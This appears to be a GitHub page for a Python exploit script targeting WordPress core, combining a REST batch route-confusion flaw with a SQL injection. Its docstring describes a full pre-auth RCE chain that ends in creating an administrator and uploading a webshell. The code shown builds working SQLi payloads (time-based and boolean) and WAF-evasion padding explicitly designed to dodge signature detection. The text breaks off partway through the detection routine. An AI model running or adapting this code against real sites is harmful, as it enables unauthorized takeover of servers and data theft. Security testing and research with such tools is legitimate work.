-
Notifications
You must be signed in to change notification settings - Fork 18
Expand file tree
/
Copy pathwp2shell_check.py
More file actions
executable file
·1912 lines (1753 loc) · 93.1 KB
/
Copy pathwp2shell_check.py
File metadata and controls
executable file
·1912 lines (1753 loc) · 93.1 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/usr/bin/env python3
"""
wp2shell_check.py — detector & pre-auth RCE PoC for wp2shell
=============================================================
CVE-2026-63030 (REST /batch/v1 route confusion) + CVE-2026-60137
(WP_Query::author__not_in SQL injection) in WordPress core 6.9.0-6.9.4 / 7.0.0-7.0.1.
What it does
------------
**Detect (default):** Confirms the *unauthenticated SQL injection*, automatically, with
fallback on three independent axes so a single blocked path never yields a false negative:
* **oracle** (`--method auto`): a fast **boolean row-count differential** (flip the injected
WHERE true `1=1` vs false `1=12`, watch the confused posts query's row count collapse — no
SLEEP) first; if it doesn't fire, the original **time-based SLEEP** differential.
* **delivery** (`--delivery auto`): a **JSON** POST to the batch route first; if that isn't
processed (e.g. an edge blocks `/wp-json`), a **`rest_route=/batch/v1` multipart form on
`POST /`** (the exact operator request shape).
* **slot** (`--slot auto`): the shifted request is validated against **`/wp/v2/users`** first;
if that endpoint is disabled for unauth callers (Disable-REST-API plugins, user-enumeration
hardening), it falls back to the universal **`/wp/v2/posts/<id>`** item endpoint.
Each strategy is tried until one *confirms*; only when all come up empty is a target reported
negative. Override with `--method boolean|time` / `--delivery json|multipart` (`--multipart` is
an alias) / `--slot users|posts-item`. Reads no data and changes nothing. `--proof` reads two harmless scalars (@@version,
current_user()) as evidence — still read-only.
**Exploit (`-c COMMAND`):** Full pre-auth RCE on stock WordPress — no FILE privilege, no
object cache, no plugins, no misconfigurations required. The chain:
1. Blind SQLi confirms vulnerability and extracts table prefix / admin ID
2. UNION row forgery via per_page=-1 split_the_query bypass injects fake posts
3. oEmbed cache seeding turns read-only SQLi into real DB writes
4. Changeset elevation + re-entrant parse_request runs in admin context
5. POST /wp/v2/users creates a new administrator
6. Login → plugin webshell upload → command execution (reused across runs)
The created admin and deployed webshell are cached per target (~/.wp2shell/state.json),
so repeat `-c` runs skip the whole chain and issue a single request to the live shell.
--fresh forces the full chain; --cleanup makes the shell delete itself and clears the cache.
The stock-default RCE mechanism (oEmbed → changeset → re-entry) was researched by
Mustafa Can İPEKÇİ (nukedx), building on the route confusion + SQLi discovered by
Adam Kues (Assetnote / Searchlight Cyber).
Authorized use only
-------------------
Run this against systems you own or are explicitly authorized to test. Remote (non-loopback)
targets require --authorized.
Usage
-----
python3 wp2shell_check.py http://target[:port] # detect (auto oracle + delivery)
python3 wp2shell_check.py http://target --method time # force the SLEEP oracle
python3 wp2shell_check.py http://target --delivery multipart # force rest_route form on /
python3 wp2shell_check.py http://target --proof # + read @@version as evidence
python3 wp2shell_check.py http://target -c "id" # full pre-auth RCE (caches admin+shell)
python3 wp2shell_check.py http://target -c "whoami" # reuses the cached shell (single request)
python3 wp2shell_check.py http://target -c "id" --multipart # RCE batch over rest_route forms
python3 wp2shell_check.py http://target --cleanup # remove the deployed shell + forget state
python3 wp2shell_check.py -f hosts.txt --authorized --json
python3 wp2shell_check.py http://127.0.0.1:8093 # local lab (no --authorized needed)
Status values:
vulnerable - actively confirmed via the injection (batch confusion, 6.9.0-7.0.1)
affected_version - fingerprinted version is in an affected range but the active check did
not fire (e.g. 6.8.0-6.8.5 has the SQLi sink but not the 6.9+ confusion
delivery; or a WAF/edge blocked the probe). Version-based, not proof.
not_vulnerable - active check negative and version outside the affected ranges
Exit codes: 0 = needs attention (vulnerable or affected_version), 1 = not vulnerable, 2 = error.
Follows redirects while preserving the POST body; ignores TLS errors (curl -k).
"""
import argparse
import base64
import concurrent.futures
import gzip
import hashlib
import html as html_mod
import http.client
import io
import json
import os
import re
import secrets
import ssl
import statistics
import sys
import threading
import time
import urllib.error
import urllib.parse
import urllib.request
import uuid
import zipfile
import zlib
from collections import Counter
from http.cookiejar import CookieJar
__version__ = "3.0.0"
class _KeepPost(urllib.request.HTTPRedirectHandler):
"""Follow redirects but PRESERVE the POST method and body. urllib's default handler
downgrades a redirected POST to a bodyless GET (301/302/303), which would silently
drop the batch payload when a site redirects http->https or to a canonical host and
produce a false negative. We keep POSTing to the Location instead. Loop protection
(max_redirections) is still enforced by the parent."""
def redirect_request(self, req, fp, code, msg, headers, newurl):
if req.get_method() == "POST" and code in (301, 302, 303, 307, 308):
hdrs = {k: v for k, v in req.header_items() if k.lower() != "content-length"}
return urllib.request.Request(newurl, data=req.data, headers=hdrs,
origin_req_host=req.origin_req_host,
unverifiable=True, method="POST")
return super().redirect_request(req, fp, code, msg, headers, newurl)
class Target:
def __init__(self, base, timeout=15, proxy=None, sleep=4.0, route="auto", delivery="auto",
slot="auto", headers=None, cookies="", bypass=False):
self.base = base.rstrip("/")
self.timeout = timeout
self.sleep = float(sleep)
self.route = route
# extra headers (list of (name, value)) added to every request via opener.addheaders
self.extra_headers = list(headers or [])
# delivery: "auto" (probe JSON, fall back to multipart if JSON isn't processed),
# "json" (POST body to /wp-json|rest_route batch), or "multipart" (rest_route form on /).
self.delivery = delivery
self.multipart = (delivery == "multipart") # current on-the-wire delivery for _send()
self._delivery_resolved = (delivery != "auto")
# validation slot: which endpoint the shifted request is validated against (must NOT
# register author_exclude). "users" is proven; "posts-item" (/wp/v2/posts/<id>) is
# universal — it survives targets that hard-disable the users endpoint for unauth.
self.slot = slot
self._slot = "users" if slot == "auto" else slot
self.union = False # when set, read_scalar/read_int extract via UNION reflection
self._proxy = proxy
self.batch = None # resolved endpoint URL (canonical, post-redirect)
self._mp_ep = None # resolved multipart endpoint (root vs /index.php)
self._base = 0.0 # measured baseline round-trip (set by detect(); used by the oracle)
self._normalized = False # whether the base host/scheme has been canonicalized
# -- bypass (request pumping technique) --
self.cookies = cookies # CF clearance cookies string (cf_clearance=...; __cf_bm=...; ...)
self.bypass = bypass # low-level http.client pump path (Chrome 149 headers)
# Ignore TLS verification (self-signed / expired / hostname-mismatch certs are
# common on test targets). Equivalent to `curl -k`.
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
self._ssl_ctx = ctx # reused by _lowlevel
opener_handlers = [urllib.request.HTTPSHandler(context=ctx), _KeepPost()]
if proxy:
opener_handlers.append(urllib.request.ProxyHandler({"http": proxy, "https": proxy}))
else:
opener_handlers.append(urllib.request.ProxyHandler({})) # ignore env proxies
self.opener = urllib.request.build_opener(*opener_handlers)
# Strip urllib's default Python-urllib User-Agent so the user controls
# UA entirely via -H. If no -H "User-Agent:" is passed, no UA is sent.
self.opener.addheaders = [(n, v) for n, v in self.opener.addheaders
if n.lower() != "user-agent"]
self.opener.addheaders += self.extra_headers
# ---- low-level http.client bypass request --------------------------------
# Uses putrequest/putheader for precise header control. Only sends what
# the user provides via -H + Cookie (--cookies) + Content-Type + Content-Length.
# No hardcoded UA or fingerprint headers.
@staticmethod
def _decode_resp(data, encoding):
"""Decompress gzip / deflate response bodies."""
if encoding == "gzip":
try:
return gzip.decompress(data)
except Exception:
return data
if encoding == "deflate":
try:
return zlib.decompress(data)
except Exception:
return data
return data
def _lowlevel(self, url, data=None, headers=None, method=None, timeout=None):
"""http.client request for bypass mode. Only sends what the user
provides via -H (extra_headers) + Cookie + Content-Type + Content-Length.
No hardcoded UA or fingerprint headers — the user supplies those.
Returns (status, elapsed, body_bytes, final_url) — same shape as _raw()."""
parsed = urllib.parse.urlparse(url)
use_tls = (parsed.scheme == "https")
host = parsed.hostname or "localhost"
port = parsed.port or (443 if use_tls else 80)
default_port = (443 if use_tls else 80)
hostport = ("%s:%d" % (host, port)) if port != default_port else host
path = parsed.path or "/"
if parsed.query:
path += "?" + parsed.query
tout = timeout or self.timeout
if use_tls:
if self._proxy:
pp = urllib.parse.urlparse(self._proxy if "://" in self._proxy
else "http://" + self._proxy)
conn = http.client.HTTPSConnection(
pp.hostname, pp.port, context=self._ssl_ctx, timeout=tout)
conn.set_tunnel(hostport)
else:
conn = http.client.HTTPSConnection(
hostport, context=self._ssl_ctx, timeout=tout)
else:
if self._proxy:
pp = urllib.parse.urlparse(self._proxy if "://" in self._proxy
else "http://" + self._proxy)
conn = http.client.HTTPConnection(pp.hostname, pp.port, timeout=tout)
path = url # absolute URI for plain-HTTP proxy
else:
conn = http.client.HTTPConnection(hostport, timeout=tout)
verb = method or ("POST" if data else "GET")
conn.putrequest(verb, path, skip_host=True, skip_accept_encoding=True)
conn.putheader("Host", hostport)
# Cookie (if set via --cookies)
if self.cookies:
conn.putheader("Cookie", self.cookies)
# User-supplied -H headers (including User-Agent, Sec-Ch-Ua, etc.)
for name, value in self.extra_headers:
conn.putheader(name, value)
# Content-Type (from the caller's headers dict)
ct_value = None
if headers:
items = headers.items() if isinstance(headers, dict) else headers
for k, v in items:
if k.lower() == "content-type":
ct_value = v
break
if ct_value:
conn.putheader("Content-Type", ct_value)
# Content-Length + send
if data:
conn.putheader("Content-Length", str(len(data)))
conn.endheaders(data)
t0 = time.perf_counter()
try:
resp = conn.getresponse()
raw = resp.read()
elapsed = time.perf_counter() - t0
body = self._decode_resp(raw, resp.getheader("Content-Encoding", ""))
return resp.status, elapsed, body, url
finally:
conn.close()
def _normalize_base(self):
"""Follow redirects on the root once and pin the canonical scheme://host, so the
batch POST goes straight to the final host (http->https, apex->www, etc.) instead
of relying on a redirect for every probe. Only scheme+host are taken (never a
redirected path), so REST routes stay correct."""
if self._normalized:
return
self._normalized = True
try:
req = urllib.request.Request(self.base + "/", headers={})
with self.opener.open(req, timeout=self.timeout) as r:
u = urllib.parse.urlparse(r.geturl())
if u.scheme and u.netloc:
canon = "%s://%s" % (u.scheme, u.netloc)
if canon != self.base:
self.base = canon
self.batch = None # re-resolve endpoint against the canonical host
except Exception:
pass
# -- HTTP ---------------------------------------------------------------
def _raw(self, url, data=None, headers=None, method=None):
# When bypass is active (cookies set or --bypass flag), use the low-level
# http.client path for precise header ordering + double-CT support.
if self.cookies or self.bypass:
return self._lowlevel(url, data=data, headers=headers, method=method)
hdrs = dict(headers or {})
req = urllib.request.Request(url, data=data, headers=hdrs, method=method)
t0 = time.perf_counter()
try:
with self.opener.open(req, timeout=self.timeout) as r:
body = r.read()
return r.status, time.perf_counter() - t0, body, r.geturl()
except urllib.error.HTTPError as e:
return e.code, time.perf_counter() - t0, e.read(), getattr(e, "url", url)
def _endpoints(self):
if self.route == "wp-json":
return [self.base + "/wp-json/batch/v1"]
if self.route == "rest-route":
return [self.base + "/?rest_route=/batch/v1"]
# auto: rest_route works without pretty permalinks; wp-json needs them
return [self.base + "/?rest_route=/batch/v1", self.base + "/wp-json/batch/v1"]
# -- payload ------------------------------------------------------------
# The injected value breaks out of `post_author NOT IN ( <value> )` and wraps SLEEP
# in a derived table: (SELECT 1 FROM (SELECT SLEEP(n))x) -- so MySQL materializes
# and evaluates it once, independent of the number of rows the posts query returns.
# A bare `NOT IN (SELECT SLEEP(n))` / `OR SLEEP(n)` gets optimized away and never
# executes on some managed WordPress hosts, which reads as a false negative. The
# nested subquery avoids that.
def _envelope(self, author_exclude):
"""Nested batch (route confusion) that lands `author_exclude` in WP_Query::author__not_in.
The shifted 'validation slot' is an endpoint that does NOT register author_exclude, so it
passes validation unsanitized before executing under posts::get_items. Default slot is
/wp/v2/users; the posts-item slot (/wp/v2/posts/<id>) is universal and keeps detection
working on targets that hard-disable the users endpoint for unauthenticated callers
(Disable-REST-API plugins, user-enumeration hardening, WAF rules)."""
enc = urllib.parse.quote(author_exclude, safe="")
if self._slot == "posts-item":
probe = {"method": "GET", "path": "/wp/v2/posts/1?author_exclude=" + enc}
else:
probe = {"method": "GET", "path": "/wp/v2/users?author_exclude=" + enc}
inner = {"requests": [
{"method": "POST", "path": "///"}, # misalignment trigger
probe,
{"method": "GET", "path": "/wp/v2/posts"}, # supplies get_items handler
]}
return {"requests": [
{"method": "POST", "path": "/v2/categories", "body": {"name": "x"}},
{"method": "POST", "path": "///", "body": {"name": "x"}},
{"method": "POST", "path": "/wp/v2/posts", "body": inner}, # self-call onto batch handler
{"method": "POST", "path": "/batch/v1", "body": {"requests": []}},
]}
# -- JSON junk padding (request pumping technique) ------------
# Wrap the batch envelope in a JSON dict with ~1MB of leading junk keys
# and trailing junk so the WAF's bounded body inspection window never
# reaches the real `requests` array. The structure mirrors final.json:
# 0_frontpad (1MB), 400+ mixed-pattern junk keys (some 0_<lc><digit>,
# some pure-random 512-char keys, some nested dicts), then rest_route /
# validation / requests / padding / _junk0 / _junk1 (nested dict), then
# more trailing junk keys. Everything is randomized per-request so
# there's no fixed signature the WAF can pin.
_FRONTPAD_LEN = 1_000_000 # base leading junk string length (jittered per-request)
_JUNK_KEY_COUNT = 400 # leading junk keys before the real data
_TRAILING_JUNK = 10 # trailing junk keys after the data
_PADDING_LEN = 65_536 # base trailing padding length (jittered)
_ALNUM = __import__("string").ascii_letters + __import__("string").digits
@staticmethod
def _rand_junk(n):
"""Random alphanumeric string of length n (a-zA-Z0-9)."""
return "".join(secrets.choice(Target._ALNUM) for _ in range(n))
@staticmethod
def _rand_lc(n):
"""Random lowercase string of length n."""
return "".join(secrets.choice("abcdefghijklmnopqrstuvwxyz") for _ in range(n))
@staticmethod
def _rand_key_name():
"""Random junk key name — varies the pattern to avoid signature detection."""
style = secrets.choice(["0_lc", "pure_long", "bare_word", "short_mixed"])
if style == "0_lc":
return "0_" + Target._rand_lc(8) + str(secrets.choice(range(10)))
elif style == "pure_long":
return Target._rand_junk(secrets.choice([48, 56, 64]))
elif style == "bare_word":
return Target._rand_lc(secrets.choice(range(8, 17)))
else:
return Target._rand_junk(secrets.choice(range(8, 17)))
@staticmethod
def _rand_nested_junk(depth=2):
"""A small nested dict of random junk (mirrors final.json's 0_nest / _junk1)."""
out = {}
for _ in range(secrets.choice([3, 5, 8])):
if depth > 0 and secrets.choice([False, True]):
out[Target._rand_key_name()] = Target._rand_nested_junk(depth - 1)
else:
out[Target._rand_key_name()] = Target._rand_junk(secrets.choice([64, 128, 256]))
return out
def _pump_envelope(self, envelope):
"""Wrap <envelope> in a junk-padded JSON structure (request pumping technique).
Every key name and every value is randomized per-request so there is no
fixed signature the WAF can pin. The real batch (rest_route + validation
+ requests) is buried deep inside a ~2MB dict. The leading 1MB frontpad
+ 400 mixed-pattern junk keys push past the WAF's body inspection window;
trailing padding + nested junk + more junk keys pad the tail.
The real `rest_route` / `validation` / `requests` keys are the only ones
with fixed names — WordPress needs them to route the batch. Everything
else gets a random name.
"""
out = {}
# 1. Leading ~1MB frontpad (random key name, jittered length)
fpad = self._FRONTPAD_LEN + secrets.choice(range(-8192, 8193))
out[self._rand_key_name()] = self._rand_junk(fpad)
# 2. Hundreds of junk keys with random names, random lengths, some
# pure-random 512-char values, some nested dicts.
for _ in range(self._JUNK_KEY_COUNT):
key = self._rand_key_name()
if secrets.choice([False, False, True]): # ~1/3 are nested dicts
out[key] = self._rand_nested_junk()
elif secrets.choice([False, False, True]): # ~1/3 are 512-char pure-random
out[key] = self._rand_junk(512)
else: # ~1/3 are 256/1024/4096
out[key] = self._rand_junk(secrets.choice([256, 1024, 4096]))
# 3. A nested junk dict (random key name)
out[self._rand_key_name()] = self._rand_nested_junk()
# 4. A big junk string (random key name, ~20KB)
out[self._rand_key_name()] = self._rand_junk(20000)
# 5. The real batch data — only these keys have fixed names (WP needs them)
out["rest_route"] = "/batch/v1?" + self._rand_junk(200)
out["validation"] = "normal"
out["requests"] = envelope["requests"]
# 6. Trailing junk — all random key names, jittered lengths
padlen = self._PADDING_LEN + secrets.choice(range(-4096, 4097))
out[self._rand_key_name()] = self._rand_junk(padlen)
out[self._rand_key_name()] = self._rand_junk(32768 + secrets.choice(range(-2048, 2049)))
out[self._rand_key_name()] = {self._rand_key_name(): self._rand_junk(4000)
for _ in range(12)}
for _ in range(self._TRAILING_JUNK):
out[self._rand_key_name()] = self._rand_junk(4096)
return out
# -- multipart (rest_route form) delivery -------------------------------
# WordPress reads the public query var `rest_route` from $_POST in WP::parse_request(),
# so the whole nested batch can ride as multipart form fields on POST / — no JSON, no
# /wp-json path. This is the exact shape of the observed operator request and slips past
# edges that filter JSON bodies to /wp-json/batch/v1.
@staticmethod
def _flatten_fields(envelope):
"""Flatten the nested batch envelope into ordered PHP-array form fields, e.g.
requests[0][method], requests[2][body][requests][1][path]. Order is preserved,
which the desync depends on."""
fields = []
def rec(name, val):
if isinstance(val, dict):
for k, v in val.items():
rec("%s[%s]" % (name, k), v)
elif isinstance(val, list):
for i, v in enumerate(val):
rec("%s[%d]" % (name, i), v)
else:
fields.append((name, "" if val is None else str(val)))
for i, req in enumerate(envelope["requests"]):
rec("requests[%d]" % i, req)
return fields
@staticmethod
def _multipart_encode(fields):
boundary = "----WebKitFormBoundary%s" % secrets.token_hex(8)
out = []
for name, value in fields:
out.append(("--%s\r\nContent-Disposition: form-data; name=\"%s\"\r\n\r\n%s\r\n"
% (boundary, name, value)).encode())
out.append(("--%s--\r\n" % boundary).encode())
return "multipart/form-data; boundary=%s" % boundary, b"".join(out)
# -- multipart junk padding (--bypass + --multipart) --------------------
# Same idea as _pump_envelope but for multipart/form-data: prepend
# hundreds of random junk form fields (1MB+ of leading junk) so the WAF's
# bounded body inspection never reaches the real rest_route / validation /
# requests[*] fields. Mirrors final.json's structure but as flattened form
# fields instead of JSON keys.
_MP_FRONTPAD_FIELDS = 300 # leading junk fields
_MP_FRONTPAD_LEN = 4096 # each leading junk field value length
_MP_TRAILING_FIELDS = 10 # trailing junk fields after the real data
_MP_TRAILING_LEN = 4096
def _pump_multipart_fields(self, real_fields):
"""Prepend + append random junk form fields around <real_fields> so
the WAF never inspects the real rest_route / requests[*] fields.
Returns a flat list of (name, value) pairs ready for _multipart_encode."""
fields = []
# 1. Leading junk fields — random names, 4KB random values each (~1.2MB)
for _ in range(self._MP_FRONTPAD_FIELDS):
fields.append((self._rand_key_name(), self._rand_junk(self._MP_FRONTPAD_LEN)))
# 2. The real fields (rest_route, validation, requests[*], ...)
fields.extend(real_fields)
# 3. Trailing junk fields
for _ in range(self._MP_TRAILING_FIELDS):
fields.append((self._rand_key_name(), self._rand_junk(self._MP_TRAILING_LEN)))
return fields
def _send(self, author_exclude):
"""Deliver one injection carrying <author_exclude> into author__not_in.
Returns (status, elapsed, body_bytes). Honors self.multipart."""
self._normalize_base()
env = self._envelope(author_exclude)
if self.multipart:
fields = [("rest_route", "/batch/v1"), ("validation", "normal")]
fields += self._flatten_fields(env)
if self.bypass:
fields = self._pump_multipart_fields(fields)
ctype, body = self._multipart_encode(fields)
hdrs = {"Content-Type": ctype}
if self._mp_ep is None:
for ep in (self.base + "/", self.base + "/index.php"):
st, el, resp, _ = self._raw(ep, data=body, headers=hdrs, method="POST")
if st in (200, 207):
self._mp_ep = ep
return st, el, resp
self._mp_ep = self.base + "/" # nothing processed; keep root, timing/rows decide
st, el, resp, _ = self._raw(self._mp_ep, data=body, headers=hdrs, method="POST")
return st, el, resp
# JSON delivery (default)
if self.bypass:
# request pumping technique: wrap the batch in a ~2.7MB junk-padded
# JSON body and POST to /?rest_route=/batch/v1 so WP routes it via
# the query var while the WAF never inspects the real requests.
pumped = self._pump_envelope(env)
body = json.dumps(pumped).encode()
headers = {"Content-Type": "application/json"}
ep = self.base + "/?rest_route=/batch/v1"
st, el, resp, _ = self._raw(ep, data=body, headers=headers, method="POST")
return st, el, resp
body = json.dumps(env).encode()
headers = {"Content-Type": "application/json"}
if self.batch is None:
# resolve which endpoint form the site accepts (a processed batch answers 207/200);
# pin the post-redirect URL so later probes hit the canonical endpoint directly.
for ep in self._endpoints():
st, _, _, final = self._raw(ep, data=body, headers=headers, method="POST")
if st in (200, 207):
self.batch = final
break
if self.batch is None:
self.batch = self._endpoints()[0] # fall back; timing still decides
st, el, resp, _ = self._raw(self.batch, data=body, headers=headers, method="POST")
return st, el, resp
def probe(self, author_exclude):
"""Send one injection into author__not_in. Returns (status, elapsed)."""
st, el, _ = self._send(author_exclude)
return st, el
# WAF bypass: prepend a long junk integer as the leading IN() operand, right before
# the injection breakout — the observed shape is `<junk> AND sleep(n)`. The digits
# ride ahead of the SQL keywords, so signature/keyword scanners that only inspect a
# bounded prefix of the value never reach the SLEEP/OR. Alternating 1/0 blocks keep
# it a plain numeric literal that survives charset normalization.
# NOTE: MySQL caps a bare numeric literal at 65 significant digits (DECIMAL); a pad
# this long only slips past the WAF if the backend casts the oversize literal to
# DOUBLE (non-strict mode) instead of erroring. Tune _PAD_LEN for the target.
_PAD_LEN = 133333 # base junk-integer length
_PAD_JITTER = 4096 # per-request length varies by +/- up to this, so the pad
# isn't a fixed-length signature the WAF can pin on.
@classmethod
def _pad(cls):
"""A leading junk integer of jittered length (~_PAD_LEN +/- _PAD_JITTER)."""
n = cls._PAD_LEN
if cls._PAD_JITTER:
n += secrets.randbelow(2 * cls._PAD_JITTER + 1) - cls._PAD_JITTER
n = max(1, n)
return (("1" * 8 + "0" * 8) * (n // 16 + 1))[:n]
@classmethod
def _sleep_payload(cls, seconds):
return "%s) OR (SELECT 1 FROM (SELECT SLEEP(%g))x)-- -" % (cls._pad(), seconds)
# -- detection ----------------------------------------------------------
def detect(self, rounds=3):
fast = statistics.median(self.probe(self._sleep_payload(0))[1] for _ in range(rounds))
slow = statistics.median(self.probe(self._sleep_payload(self.sleep))[1] for _ in range(rounds))
self._base = fast
delta = slow - fast
# vulnerable if the slow path tracks our injected sleep and the fast path did not
vulnerable = delta >= (self.sleep * 0.6) and fast < (self.sleep * 0.5)
return {"fast": fast, "slow": slow, "delta": delta, "vulnerable": vulnerable}
# -- boolean (row-count) detection -------------------------------------
# No SLEEP: flip the injected WHERE true (1=1) vs false (1=12) and read the confused
# posts query's row count. True -> rows returned (the `-- -` also truncates the
# status/pagination clauses, so X-WP-Total climbs); false -> zero rows. A stable
# true>0 / false==0 differential is the injection firing. Faster than timing and
# immune to SLEEP being filtered or optimized away on managed hosts.
@classmethod
def _bool_payload(cls, truth):
return "%s) AND 1=%d-- -" % (cls._pad(), 1 if truth else 12)
@staticmethod
def _harvest(body):
"""Walk a (possibly nested) batch response; return (max X-WP-Total seen or None,
count of post-like objects) across every sub-response. Robust to desync index shifts."""
try:
doc = json.loads(body)
except Exception:
return None, 0
totals, posts = [], [0]
def walk(o):
if isinstance(o, dict):
h = o.get("headers")
if isinstance(h, dict) and "X-WP-Total" in h:
try:
totals.append(int(h["X-WP-Total"]))
except (TypeError, ValueError):
pass
for v in o.values():
walk(v)
elif isinstance(o, list):
if o and all(isinstance(e, dict) for e in o) and any(
"id" in e and ("title" in e or "content" in e or "slug" in e) for e in o):
posts[0] += sum(1 for e in o if "id" in e)
for e in o:
walk(e)
walk(doc)
return (max(totals) if totals else None), posts[0]
@staticmethod
def _has_responses(body):
"""True if <body> parses as a processed batch (a 'responses' array anywhere).
Distinguishes 'delivery reached the batch handler' from 'blocked / not WordPress'."""
try:
doc = json.loads(body)
except Exception:
return False
def walk(o):
if isinstance(o, dict):
if isinstance(o.get("responses"), list):
return True
return any(walk(v) for v in o.values())
if isinstance(o, list):
return any(walk(e) for e in o)
return False
return walk(doc)
def detect_boolean(self):
"""Row-count differential. Returns a dict incl. {'vulnerable': bool, 'processed': bool}.
'processed' means the current delivery reached the batch handler (so a negative is a
real negative, not a blocked delivery that the caller should retry another way)."""
try:
_, _, tb = self._send(self._bool_payload(True))
_, _, fb = self._send(self._bool_payload(False))
except urllib.error.URLError:
return {"vulnerable": False, "processed": False, "signal": "none",
"true_total": None, "false_total": None,
"true_posts": 0, "false_posts": 0, "true_len": 0, "false_len": 0}
t_total, t_posts = self._harvest(tb)
f_total, f_posts = self._harvest(fb)
by_total = (t_total is not None and f_total is not None and t_total > 0 and f_total == 0)
by_posts = (t_posts > 0 and f_posts == 0)
by_len = ((len(tb) - len(fb)) > 200 and f_posts == 0 and t_posts > 0)
signal = ("x-wp-total" if by_total else "post-count" if by_posts
else "body-length" if by_len else "none")
processed = self._has_responses(tb) or self._has_responses(fb)
return {"vulnerable": bool(by_total or by_posts or by_len), "processed": processed,
"signal": signal, "true_total": t_total, "false_total": f_total,
"true_posts": t_posts, "false_posts": f_posts,
"true_len": len(tb), "false_len": len(fb)}
# -- delivery resolution + method orchestration ------------------------
def _set_delivery(self, name):
self.multipart = (name == "multipart")
def _delivery_name(self):
return "multipart" if self.multipart else "json"
def _set_slot(self, name):
self._slot = name
def _batch_processes(self):
"""Cheap benign probe: does the *current* delivery reach the batch handler?"""
try:
st, _, body = self._send("0")
except urllib.error.URLError:
return False
return st in (200, 207) and self._has_responses(body)
def _resolve_delivery(self):
"""For delivery=auto, pin JSON if it reaches the batch handler, else multipart.
Used by the RCE/proof paths that call detect()/oracle directly."""
if self._delivery_resolved:
return
self._delivery_resolved = True
self._set_delivery("json")
if self._batch_processes():
return
self._set_delivery("multipart")
if self._batch_processes():
return
self._set_delivery("json") # neither processed; timing/rows will read negative anyway
def _union_confirms(self):
"""True if a random token reflects back through the UNION sink (sets self.union).
The token is fresh each call so there's no fixed probe string on the wire."""
tok = secrets.token_hex(4)
try:
ok = self._union_read("SELECT 0x%s" % tok.encode().hex()) == tok
except urllib.error.URLError:
ok = False
self.union = ok
return ok
def detect_auto(self, method="auto", rounds=3):
"""Automatic detection with fallback across three axes:
method: union (reflect data) -> boolean (row-count) -> time (SLEEP)
delivery: json -> multipart (rest_route form), when json isn't processed
slot: users -> posts-item, when the users endpoint is disabled for unauth
Tries each until one CONFIRMS; returns the confirming (method, delivery, slot). A genuine
failure of one strategy falls through to the next; only when every configured strategy
comes up empty is it negative."""
deliveries = ["json", "multipart"] if self.delivery == "auto" else [self.delivery]
slots = ["users", "posts-item"] if self.slot == "auto" else [self.slot]
boo_by_key = {}
# 0) union reflection first (auto or forced): one request, yields real data
